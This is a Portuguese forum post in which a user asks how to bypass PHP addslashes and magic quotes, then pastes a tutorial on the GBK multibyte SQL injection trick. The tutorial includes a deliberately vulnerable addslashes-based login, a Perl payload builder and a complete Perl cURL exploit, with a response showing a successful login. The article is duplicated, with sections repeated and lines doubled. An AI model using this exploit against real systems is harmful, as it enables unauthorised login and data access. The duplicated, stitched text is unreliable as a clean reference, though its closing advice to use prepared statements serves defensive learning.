Autor: Fvox
Então pessoal, to procurando como burlar o addslashes e magic quotes, achei esse artigo aí em cima, do Fvox, mas não consigo testar akilo, to precisando muito saber como funciona (trabalho universitário), alguem pode dar uma dica? como eu aplico isso?
__________
. Introdução\______________________________________
Hi.
Quando foi descoberto este ataque bobo de ' or '1'='1, muita gente recorreu a função addslashes() para a proteção, ou até mesmo a diretiva magic_quotes_gpc, cuja escapa (adiciona \ antes das aspas nos métodos GET, POST E COOKIE) automaticamente à cada requisição.
Ainda em 2006, um pesquisador chamado Chris Shiflett descobriu um bug que, conforme a configuração do MySQL, acaba "cancelando" a adição do escape na aspa.
_____________
. Vulnerabilidade\__________________________________
A falha acontece na codificação GBK, que é uma extensão da codificação GB 2312 (Guojia Biaozhun), utilizada na China.
O que acontece, basicamente, é que na codificação GBK a sequência de caracteres \xbf\x27 é interpretada como single-byte. Ou seja, ao injetar isso, a função addslashes() transformará a string em 0xbf5c27 que apesar de ser multibyte, a string 0xbf5c será interpretada como um único byte, liberando as single-quotes (\x27).
Se você for testar em localhost como eu, provavelmente você terá que trocar o default-character-set no my.cnf para GBK, que fica na sessão [client] do arquivo my.cfn, que fica no /etc/ ou /etc/mysql/. ;-)
__________
. Praticando\______________________________________
Primeiro vamos criar o banco de dados na base.
Código:
Criando as tabelas:
Código:
CREATE TABLE login (
usuario VARCHAR(10) CHARACTER SET GBK,
senha VARCHAR(15) CHARACTER SET GBK,
);
Para utilizar o exemplo do tutorial, preciso inserir na tabela algumas informações de login:
Código:
INSERT INTO login (`usuario`, `senha`) VALUES ('fvox', 'invaders');
Simulando um sistema de login:
Código PHP:
Tudo o precisamos fazer para exploitar isso, seria uma request do tipo:
POST /fvox.php?user=fvox&passwd=EXPLOIT HTTP/1.1...
O problema é que se você injetar isso na mão pelo browser, é provável que você tenha seus bugs por causa da codificação.
Ou seja, podemos fazer algo em Perl pra automatizar essa parada na base do replace mesmo. Por exemplo:
Código PHP:
#!/usr/bin/env perl
$_ = '\' or \'1\'=\'1';
s/x27/chr(0xbf).chr(0x27)/ge;
print;
Sendo assim, podemos utilizar a lib cURL e criar um exploit que automatiza tudo:
Response:
Código:
__________
. Finalizando\______________________________________
Como vimos, não podemos confiar muito na função addslashes(). É por isso que é extremamente recomendável utilizar a função mysql_real_escape_string() ou a extensão PDO (PHP Data Objects) com as funções prepare() antes de realizar uma consulta onde haja um input direto do usuário.
Enjoy ur pwnz!
[]'s
. Introdução\______________________________________
Hi.
Quando foi descoberto este ataque bobo de ' or '1'='1, muita gente recorreu a função addslashes() para a proteção, ou até mesmo a diretiva magic_quotes_gpc, cuja escapa (adiciona \ antes das aspas nos métodos GET, POST E COOKIE) automaticamente à cada requisição.
Ainda em 2006, um pesquisador chamado Chris Shiflett descobriu um bug que, conforme a configuração do MySQL, acaba "cancelando" a adição do escape na aspa.
_____________
. Vulnerabilidade\__________________________________
A falha acontece na codificação GBK, que é uma extensão da codificação GB 2312 (Guojia Biaozhun), utilizada na China.
O que acontece, basicamente, é que na codificação GBK a sequência de caracteres \xbf\x27 é interpretada como single-byte. Ou seja, ao injetar isso, a função addslashes() transformará a string em 0xbf5c27 que apesar de ser multibyte, a string 0xbf5c será interpretada como um único byte, liberando as single-quotes (\x27).
Se você for testar em localhost como eu, provavelmente você terá que trocar o default-character-set no my.cnf para GBK, que fica na sessão [client] do arquivo my.cfn, que fica no /etc/ ou /etc/mysql/. ;-)
__________
. Praticando\______________________________________
Primeiro vamos criar o banco de dados na base.
Código:
CREATE DATABASE `fvox`; --Se voce nao modificou o my.cfn, entao DEFAULT CHARACTER SET...
Código:
CREATE TABLE login (
usuario VARCHAR(10) CHARACTER SET GBK,
senha VARCHAR(15) CHARACTER SET GBK,
);
Para utilizar o exemplo do tutorial, preciso inserir na tabela algumas informações de login:
Código:
INSERT INTO login (`usuario`, `senha`) VALUES ('fvox', 'invaders');
Simulando um sistema de login:
Código PHP:
<?php
if(!isset($_POST['user']) && !isset($_POST['passwd'])){
?>
<html>
<body>
<center>
<form action="" method="POST">
Usuario: <input name="user" type="text"><br>
Senha: <input name="passwd" type="password"><br>
<input type="submit" value="Enviar">
</form>
</center>
</body>
<?php
}
else {
mysql_connect('localhost', 'root', '');
mysql_select_db('fvox');
$r = mysql_query(sprintf('SELECT * FROM login WHERE usuario = \'%s\' AND senha = \'%s\'', addslashes($_POST['user']), addslashes($_POST['passwd'])));
if(mysql_fetch_array($r)) # ((bool) array() == FALSE)
echo 'Logado com sucesso!';
else
echo 'Usuario e/ou senha incorretos!';
mysql_close();
}
?>
if(!isset($_POST['user']) && !isset($_POST['passwd'])){
?>
<html>
<body>
<center>
<form action="" method="POST">
Usuario: <input name="user" type="text"><br>
Senha: <input name="passwd" type="password"><br>
<input type="submit" value="Enviar">
</form>
</center>
</body>
<?php
}
else {
mysql_connect('localhost', 'root', '');
mysql_select_db('fvox');
$r = mysql_query(sprintf('SELECT * FROM login WHERE usuario = \'%s\' AND senha = \'%s\'', addslashes($_POST['user']), addslashes($_POST['passwd'])));
if(mysql_fetch_array($r)) # ((bool) array() == FALSE)
echo 'Logado com sucesso!';
else
echo 'Usuario e/ou senha incorretos!';
mysql_close();
}
?>
POST /fvox.php?user=fvox&passwd=EXPLOIT HTTP/1.1...
O problema é que se você injetar isso na mão pelo browser, é provável que você tenha seus bugs por causa da codificação.
Ou seja, podemos fazer algo em Perl pra automatizar essa parada na base do replace mesmo. Por exemplo:
Código PHP:
#!/usr/bin/env perl
$_ = '\' or \'1\'=\'1';
s/x27/chr(0xbf).chr(0x27)/ge;
print;
Sendo assim, podemos utilizar a lib cURL e criar um exploit que automatiza tudo:
Código PHP:
#!/usr/bin/env perl
use common::sense;
use WWW::Curl::Easy;
sub cURL {
my ( $url, $header, $post ) = @_;
my $curl = WWW::Curl::Easy->new;
$curl->setopt( CURLOPT_HEADER, $header // 0 );
$curl->setopt( CURLOPT_NOBODY, $header // 0 );
$curl->setopt( CURLOPT_URL, $url );
if(defined $post) {
$curl->setopt( CURLOPT_CUSTOMREQUEST, $post ? 'POST' : 'GET' );
$curl->setopt( CURLOPT_POST, 1 );
$curl->setopt( CURLOPT_POSTFIELDS, $post );
}
my $r;
$curl->setopt( CURLOPT_WRITEDATA, $r );
return ( $curl->perform == 0 ) ? $r : 0;
}
my $xpl = '\' or \'1\'=\'1';
$xpl =~ s/x27/chr(0xbf).chr(0x27)/ge;
say cURL('http://localhost/invaders/', 1, 'user=fvox&passwd=' . $xpl);
#!/usr/bin/env perl
use common::sense;
use WWW::Curl::Easy;
sub cURL {
my ( $url, $header, $post ) = @_;
my $curl = WWW::Curl::Easy->new;
$curl->setopt( CURLOPT_HEADER, $header // 0 );
$curl->setopt( CURLOPT_NOBODY, $header // 0 );
$curl->setopt( CURLOPT_URL, $url );
if(defined $post) {
$curl->setopt( CURLOPT_CUSTOMREQUEST, $post ? 'POST' : 'GET' );
$curl->setopt( CURLOPT_POST, 1 );
$curl->setopt( CURLOPT_POSTFIELDS, $post );
}
my $r;
$curl->setopt( CURLOPT_WRITEDATA, $r );
return ( $curl->perform == 0 ) ? $r : 0;
}
my $xpl = '\' or \'1\'=\'1';
$xpl =~ s/x27/chr(0xbf).chr(0x27)/ge;
say cURL('http://localhost/invaders/', 1, 'user=fvox&passwd=' . $xpl);
Código:
HTTP/1.1 200 OK
...
Server: Apache/2.2.17 (Unix) ... PHP/5.3.5 ...
...
Content-Type: text/html
Logado com sucesso!
...
Server: Apache/2.2.17 (Unix) ... PHP/5.3.5 ...
...
Content-Type: text/html
Logado com sucesso!
. Finalizando\______________________________________
Como vimos, não podemos confiar muito na função addslashes(). É por isso que é extremamente recomendável utilizar a função mysql_real_escape_string() ou a extensão PDO (PHP Data Objects) com as funções prepare() antes de realizar uma consulta onde haja um input direto do usuário.
Enjoy ur pwnz!
[]'s
Comment